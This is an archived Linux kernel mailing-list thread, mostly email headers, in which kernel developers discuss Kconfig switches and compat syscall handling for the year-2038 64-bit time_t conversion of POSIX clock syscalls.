Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Wed, 15 Nov 2017 15:11:31 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
References: <20171110224259.15930-1-deepa.kernel@gmail.com> <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1510787501 8878 195.159.176.226 (15 Nov 2017 23:11:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Nov 2017 23:11:41 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        John Stultz <john.stultz@linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Christian Borntraeger <borntraeger@de.ibm.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>, cohuck@redhat.com,
        David Miller <davem@davemloft.net>,
        Helge Deller <deller@gmx.de>, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh <gregkh@linuxfoundation.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Jan Hoeppner <hoeppner@linux.vnet.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Julian Wiedmann
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 16 00:11:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eF6q9-0001dj-5j
	for glpp-linux-parisc@m.gmane.org; Thu, 16 Nov 2017 00:11:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753402AbdKOXLf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 15 Nov 2017 18:11:35 -0500
Original-Received: from mail-io0-f174.google.com ([209.85.223.174]:41898 "EHLO
        mail-io0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752929AbdKOXLd (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 15 Nov 2017 18:11:33 -0500
Original-Received: by mail-io0-f174.google.com with SMTP id g73so3318923ioj.8;
        Wed, 15 Nov 2017 15:11:32 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=wpWaR5he9LzJWXMqSdTupjXm3L53DO/MD7rRXhrb7I4=;
        b=XFwuXuNYaZyDLkUaGvGrtON2Y4Cm1MTbplbzSdHfePFf21z+YE1lv5NyAghzSWh1Xq
         7WKu3vb0DfAzjpI9AjlYNmWa+29IytXHECZno64Ql64heUkZrekXpN4cZrWu44rNnZxZ
         eqR/HV5on57YrzTLDytZ0YcYuCMGcOdtcIaW4hjinYftn//8KQWIaUorSbD0vvrkmZMt
         KDybNo/EUL0ytf3u6aNQEka2ChgK4+MtTxunrAA1GraNt1kuUCC5db3SxBsbvNPp9A8+
         88d5ohQhIi7Xw7WaJ8EG3gBUsQvBESrubmwGccbo4OVgINg/71b08sNp3BKrUGy6skzN
         F/Lw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=wpWaR5he9LzJWXMqSdTupjXm3L53DO/MD7rRXhrb7I4=;
        b=GN+XXvZFJvRLDAAIf9dBh6i8AROajf64JKb+znw2q7oF4FBGRL2EkbuYhYGpkSiwmL
         5OKxolpcDZSwq2l4I9lDRxx9J0BM9w1aLHi88XHiEtCWkeu8tfjwyHZhopC4QDDbifmR
         r6RwwD7/Mnu/jCmjEZB9/dDnaUWBmiShmAQlrfba6dFo6RUF1Gz8yX4FP/VUTtUuS7/l
         Bk8rvP0zVdVLB4tJo+7UlTz7wktdG+N9gV+k3DMEV5YqY41R+x4otuLO+T7tJHG2GKbZ
         ffU2uvMElSCKRDO/1uXMfAX2UDwv3nx0hwy8CMmztfDNZo3A3VOQoO0hzbW2VyWFETH0
         GfFQ==
X-Gm-Message-State: AJaThX6NZMNPgLAecf+6suet9w/FMOtZyYzbYfY7hg/7QIs4WnH9Sdrg
        lmOwTnBBoXz+IjSa2g6xbNpkH1x7xe4MGF4RMeI=
X-Google-Smtp-Source: AGs4zMYNkWA9vCwI7upmnqei7+u/0IZSnhgrEiurxPcxBSIvFliolaMxdmgHSY6VrD/NGk4X56APi8nTZVD4HbBt42A=
X-Received: by 10.107.69.14 with SMTP id s14mr21192913ioa.113.1510787492246;
 Wed, 15 Nov 2017 15:11:32 -0800 (PST)
Original-Received: by 10.107.46.138 with HTTP; Wed, 15 Nov 2017 15:11:31 -0800 (PST)
In-Reply-To: <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27995 gmane.linux.kernel:2618028 gmane.linux.kernel.year-2038:2299 gmane.linux.kernel.api:25716 gmane.linux.kernel.cross-arch:40154 gmane.linux.ports.mips.general:62195 gmane.linux.ports.ppc64.devel:150303 gmane.linux.oprofile:13105 gmane.linux.ports.sparc:26893
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27995>

> I had on concern about x32, maybe we should check
> for "COMPAT_USE_64BIT_TIME" before zeroing out the tv_nsec
> bits.

Thanks, I think you are right. I had the check conditional on
CONFIG_64BIT_TIME and then removed as I forgot why I added it. :)

> Regarding CONFIG_COMPAT_TIME/CONFIG_64BIT_TIME, would
> it help to just leave out that part for now and unconditionally
> define '__kernel_timespec' as 'timespec' until we are ready to
> convert the architectures?

Another approach would be to use separate configs:

1. To indicate 64 bit time_t syscall support. This will be dependent
on architectures as CONFIG_64BIT_TIME.
We can delete this once all architectures have provided support for this.

2. Another config (maybe COMPAT_32BIT_TIME?) to be introduced later,
which will compile out all syscalls/ features that use 32 bit time_t.
This can help build a y2038 safe kernel later.

Would this work for everyone?

-Deepa
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit time_t
 conversion
Date: Thu, 16 Nov 2017 10:04:00 +0100 (CET)
Lines: 35
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1711160958430.2191@nanos>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
 <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
 <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1510823126 18806 195.159.176.226 (16 Nov 2017 09:05:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 16 Nov 2017 09:05:26 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Stefan Haberland <sth@linux.vnet.ibm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Catalin Marinas <catalin.marinas@arm.com>,
 linux-arch <linux-arch@vger.kernel.org>, Robert Richter <rric@kernel.org>,
 Chris Metcalf <cmetc
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Thu Nov 16 10:05:14 2017
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([103.22.144.68])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1eFG6i-00048Z-IW
	for glppe-linuxppc-embedded-2@m.gmane.org; Thu, 16 Nov 2017 10:05:13 +0100
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 3ycwLk6mTtzDr2L
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 16 Nov 2017 20:05:18 +1100 (AEDT)
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: ozlabs.org;
 spf=none (mailfrom) smtp.mailfrom=linutronix.de
 (client-ip=2a01:7a0:2:106d:700::1; helo=galois.linutronix.de;
 envelope-from=tglx@linutronix.de; receiver=<UNKNOWN>)
Original-Received: from Galois.linutronix.de (Galois.linutronix.de
 [IPv6:2a01:7a0:2:106d:700::1])
 (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 3ycwKl3sRWzDqtL
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 16 Nov 2017 20:04:26 +1100 (AEDT)
Original-Received: from hsi-kbw-5-158-153-52.hsi19.kabel-badenwuerttemberg.de
 ([5.158.153.52] helo=nanos)
 by Galois.linutronix.de with esmtpsa (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1eFG4n-0007xG-0X; Thu, 16 Nov 2017 10:03:13 +0100
In-Reply-To: <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:118605 gmane.linux.ports.mips.general:62204 gmane.linux.ports.sparc:26895 gmane.linux.kernel.year-2038:2300 gmane.linux.oprofile:13106 gmane.linux.kernel.cross-arch:40155 gmane.linux.ports.parisc:27996 gmane.linux.kernel:2618275 gmane.linux.kernel.api:25717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/118605>

On Wed, 15 Nov 2017, Deepa Dinamani wrote:
> > I had on concern about x32, maybe we should check
> > for "COMPAT_USE_64BIT_TIME" before zeroing out the tv_nsec
> > bits.
> 
> Thanks, I think you are right. I had the check conditional on
> CONFIG_64BIT_TIME and then removed as I forgot why I added it. :)
> 
> > Regarding CONFIG_COMPAT_TIME/CONFIG_64BIT_TIME, would
> > it help to just leave out that part for now and unconditionally
> > define '__kernel_timespec' as 'timespec' until we are ready to
> > convert the architectures?
> 
> Another approach would be to use separate configs:
> 
> 1. To indicate 64 bit time_t syscall support. This will be dependent
> on architectures as CONFIG_64BIT_TIME.
> We can delete this once all architectures have provided support for this.
> 
> 2. Another config (maybe COMPAT_32BIT_TIME?) to be introduced later,
> which will compile out all syscalls/ features that use 32 bit time_t.
> This can help build a y2038 safe kernel later.
> 
> Would this work for everyone?

Having extra config switches which are selectable by architectures and
removed when everything is converted is definitely the right way to go.

That allows you to gradually convert stuff w/o inflicting wreckage all over
the place.

Thanks,

	tglx


From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Fri, 17 Nov 2017 00:42:35 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <CAK8P3a0wxs59T1zW4ahbJXeW6QjStm0mbCFoL_RQexAa6dzh_w@mail.gmail.com>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
 <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
 <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com> <alpine.DEB.2.20.1711160958430.2191@nanos>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1510875763 11345 195.159.176.226 (16 Nov 2017 23:42:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 16 Nov 2017 23:42:43 +0000 (UTC)
Cc: Deepa Dinamani <deepa.kernel-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
        John Stultz <john.stultz-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>,
        Linux Kernel Mailing List <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        y2038 Mailman List <y2038-cunTk1MwBs8s++Sfvej+rw@public.gmane.org>,
        Arnaldo Carvalho de Melo <acme-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Christian Borntraeger <borntraeger-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
        Chris Metcalf <cmetcalf-VPRAkNaXOzVWk0Htik3J/w@public.gmane.org>, cohuck-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
        David Miller <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org,
        gerald.schaefer-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org, gregkh <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Jan Hoeppner <hoeppner-23VcF4HTsmIX0ybBhKVfKdBPR1lH4CV8@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        Julian Wiedma
To: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Nov 17 00:42:33 2017
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eFTnk-0002Pt-QK
	for glka-linux-api@m.gmane.org; Fri, 17 Nov 2017 00:42:33 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1751102AbdKPXmj (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
        Thu, 16 Nov 2017 18:42:39 -0500
Original-Received: from mail-oi0-f68.google.com ([209.85.218.68]:33447 "EHLO
        mail-oi0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750828AbdKPXmg (ORCPT
        <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 16 Nov 2017 18:42:36 -0500
Original-Received: by mail-oi0-f68.google.com with SMTP id f135so540148oib.0;
        Thu, 16 Nov 2017 15:42:36 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=hpNeYm30ruNAfIduvbbbXwpbFZQ35hFiqhNPvDxd8Fc=;
        b=G2weztNxVFEquGfqXw0UM5OdKUgm2OiPtW+NVYo0ih8gHfY/tc3vGYB/dRNNZdfzjc
         bZIz46PbZ/wp1mILzFaXSellaI3KGHSqZTAIBkcWEbpLLzV7Os7GlUc3nKNz3vIIorfv
         w9wiEUGi70gQ13LIPS2dGYifqD6SHHnV4qphihP0Rj54cRcpTBYusAfwpCwHHIXG8RuZ
         T5W1QdtiK/21U7kguyGtTFVxN+etUxOtMRgywAKTTMc3fbVcunGIpB3nW6a6vTkXA5FS
         rDciz7+w23vPWhKA84nVL5YU4BSHm8P501HHIqAQy+BqLoDxDvrBsi6Sc5xAOh20RPvM
         GhGA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=hpNeYm30ruNAfIduvbbbXwpbFZQ35hFiqhNPvDxd8Fc=;
        b=exzfqxlu7SRDbeqGfa9CZtCm9O33HmBOLpfgI+WAn3oBaHAcrRl6sXPx2eGMTjbfXJ
         GzYX1NjsaWJUF5J3cf5UD+afqi/YPXJgR8wdmTMLfOY705eIcoOtnnv0Od8BxDQBWFtb
         lq4bkx8lSTUcbuCxdD5vPB9UZ/FbZzPV5jJ8i4ECU6SfmJb+dcmjN8HWwyEP0IvOTZNn
         c9k1ieR2dAF4HAwZX+w3DuuPyfevjjqNt1uMEFD5KAolUg9MHR4bGotElTIeiMMf2OZX
         zAFyGMT9SbCoHN9ejX5TwI+2RVPYFyxNjiMuTftBTqoAk1YyJy76h02H/gUtCLlJiWGe
         QGvA==
X-Gm-Message-State: AJaThX62HSwtve4o91iCbR2NaX23Osl7X4hqglLGUpREtDchZVD/Q9YB
        lkB+eltYzAMNvLNOPZm6gRajR3+rwW5fkxccBv8=
X-Google-Smtp-Source: AGs4zMZkyQRu8YBDwgn63Lg+eb+8ZDXJ/v8MsMSM5NzSD9FS1ORMjmNK24rtvqPTwUY95ivcMpONmq0mHekbhYHEBTM=
X-Received: by 10.202.229.65 with SMTP id c62mr13789oih.128.1510875755767;
 Thu, 16 Nov 2017 15:42:35 -0800 (PST)
Original-Received: by 10.157.43.3 with HTTP; Thu, 16 Nov 2017 15:42:35 -0800 (PST)
In-Reply-To: <alpine.DEB.2.20.1711160958430.2191@nanos>
X-Google-Sender-Auth: qV6qBbRCPsm0bRHmCYki0BT0dCM
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:25740 gmane.linux.kernel:2619000 gmane.linux.kernel.year-2038:2301 gmane.linux.kernel.cross-arch:40163 gmane.linux.ports.mips.general:62206 gmane.linux.ports.parisc:27997 gmane.linux.ports.ppc64.devel:150366 gmane.linux.oprofile:13107 gmane.linux.ports.sparc:26899
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/25740>

On Thu, Nov 16, 2017 at 10:04 AM, Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org> wrote:
> On Wed, 15 Nov 2017, Deepa Dinamani wrote:
>> > I had on concern about x32, maybe we should check
>> > for "COMPAT_USE_64BIT_TIME" before zeroing out the tv_nsec
>> > bits.
>>
>> Thanks, I think you are right. I had the check conditional on
>> CONFIG_64BIT_TIME and then removed as I forgot why I added it. :)
>>
>> > Regarding CONFIG_COMPAT_TIME/CONFIG_64BIT_TIME, would
>> > it help to just leave out that part for now and unconditionally
>> > define '__kernel_timespec' as 'timespec' until we are ready to
>> > convert the architectures?
>>
>> Another approach would be to use separate configs:
>>
>> 1. To indicate 64 bit time_t syscall support. This will be dependent
>> on architectures as CONFIG_64BIT_TIME.
>> We can delete this once all architectures have provided support for this.
>>
>> 2. Another config (maybe COMPAT_32BIT_TIME?) to be introduced later,
>> which will compile out all syscalls/ features that use 32 bit time_t.
>> This can help build a y2038 safe kernel later.
>>
>> Would this work for everyone?
>
> Having extra config switches which are selectable by architectures and
> removed when everything is converted is definitely the right way to go.
>
> That allows you to gradually convert stuff w/o inflicting wreckage all over
> the place.

The CONFIG_64BIT_TIME would do that nicely for the new stuff like
the conditional definition of __kernel_timespec, this one would get
removed after we convert all architectures.

A second issue is how to control the compilation of the compat syscalls.
CONFIG_COMPAT_32BIT_TIME handles that and could be defined
in Kconfig as 'def_bool (!64BIT && CONFIG_64BIT_TIME) || COMPAT',
this is then just a more readable way of expressing exactly when the
functions should be built.

For completeness, there may be a third category, depending on how
we handle things like sys_nanosleep(): Here, we want the native
sys_nanosleep on 64-bit architectures, and compat_sys_nanosleep()
to handle the 32-bit time_t variant on both 32-bit and 64-bit targets,
but our plan is to not have a native 32-bit sys_nanosleep on 32-bit
architectures any more, as new glibc should call clock_nanosleep()
with a new syscall number instead. Should we then enclose
sys_nanosleep in "#if !defined(CONFIG_64BIT_TIME) ||
defined(CONFIG_64BIT)", or should we try to come up with another
Kconfig symbol name that expresses this better?

       Arnd

From - Thu Nov 08 21:40:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/9] posix_clocks: Prepare syscalls for 64 bit
 time_t conversion
Date: Fri, 17 Nov 2017 09:58:26 +0100 (CET)
Lines: 30
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1711170954000.1709@nanos>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
 <CAK8P3a2uD=xV5GKtL+nhVoPckb6uoXztEvXK-iP_OYbct8QvJA@mail.gmail.com>
 <CABeXuvpy1jbqjeUFHHX-MrJXQLA2QNYbAa6OX7qOpPp4q-mQYQ@mail.gmail.com>
 <alpine.DEB.2.20.1711160958430.2191@nanos>
 <CAK8P3a0wxs59T1zW4ahbJXeW6QjStm0mbCFoL_RQexAa6dzh_w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1510909129 27134 195.159.176.226 (17 Nov 2017 08:58:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Nov 2017 08:58:49 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Stefan Haberland <sth@linux.vnet.ibm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, devel@driverdev.osuosl.org,
 linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Will Deacon <will.deacon@arm.com>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Catali
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: y2038-bounces@lists.linaro.org Fri Nov 17 09:58:41 2017
Return-path: <y2038-bounces@lists.linaro.org>
Envelope-to: glky-y2038@m.gmane.org
Original-Received: from ec2-54-197-127-237.compute-1.amazonaws.com ([54.197.127.237] helo=lists.linaro.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <y2038-bounces@lists.linaro.org>)
	id 1eFcTr-0006FG-8S
	for glky-y2038@m.gmane.org; Fri, 17 Nov 2017 09:58:35 +0100
Original-Received: by lists.linaro.org (Postfix, from userid 109)
	id AD33F6050B; Fri, 17 Nov 2017 08:58:42 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by lists.linaro.org (Postfix) with ESMTP id A91156050B;
	Fri, 17 Nov 2017 08:58:38 +0000 (UTC)
X-Original-To: y2038@lists.linaro.org
Delivered-To: y2038@lists.linaro.org
Original-Received: by lists.linaro.org (Postfix, from userid 109)
 id 0D755607AD; Fri, 17 Nov 2017 08:58:37 +0000 (UTC)
Original-Received: from Galois.linutronix.de (Galois.linutronix.de [146.0.238.70])
 by lists.linaro.org (Postfix) with ESMTPS id B01386068B
 for <y2038@lists.linaro.org>; Fri, 17 Nov 2017 08:58:35 +0000 (UTC)
Original-Received: from hsi-kbw-5-158-153-52.hsi19.kabel-badenwuerttemberg.de
 ([5.158.153.52] helo=nanos)
 by Galois.linutronix.de with esmtpsa (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1eFcSv-0002Af-Dz; Fri, 17 Nov 2017 09:57:37 +0100
In-Reply-To: <CAK8P3a0wxs59T1zW4ahbJXeW6QjStm0mbCFoL_RQexAa6dzh_w@mail.gmail.com>
X-BeenThere: y2038@lists.linaro.org
X-Mailman-Version: 2.1.16
Precedence: list
List-Id: <y2038.lists.linaro.org>
List-Unsubscribe: <https://lists.linaro.org/mailman/options/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=unsubscribe>
List-Archive: <http://lists.linaro.org/pipermail/y2038/>
List-Post: <mailto:y2038@lists.linaro.org>
List-Help: <mailto:y2038-request@lists.linaro.org?subject=help>
List-Subscribe: <https://lists.linaro.org/mailman/listinfo/y2038>,
 <mailto:y2038-request@lists.linaro.org?subject=subscribe>
Errors-To: y2038-bounces@lists.linaro.org
Original-Sender: "Y2038" <y2038-bounces@lists.linaro.org>
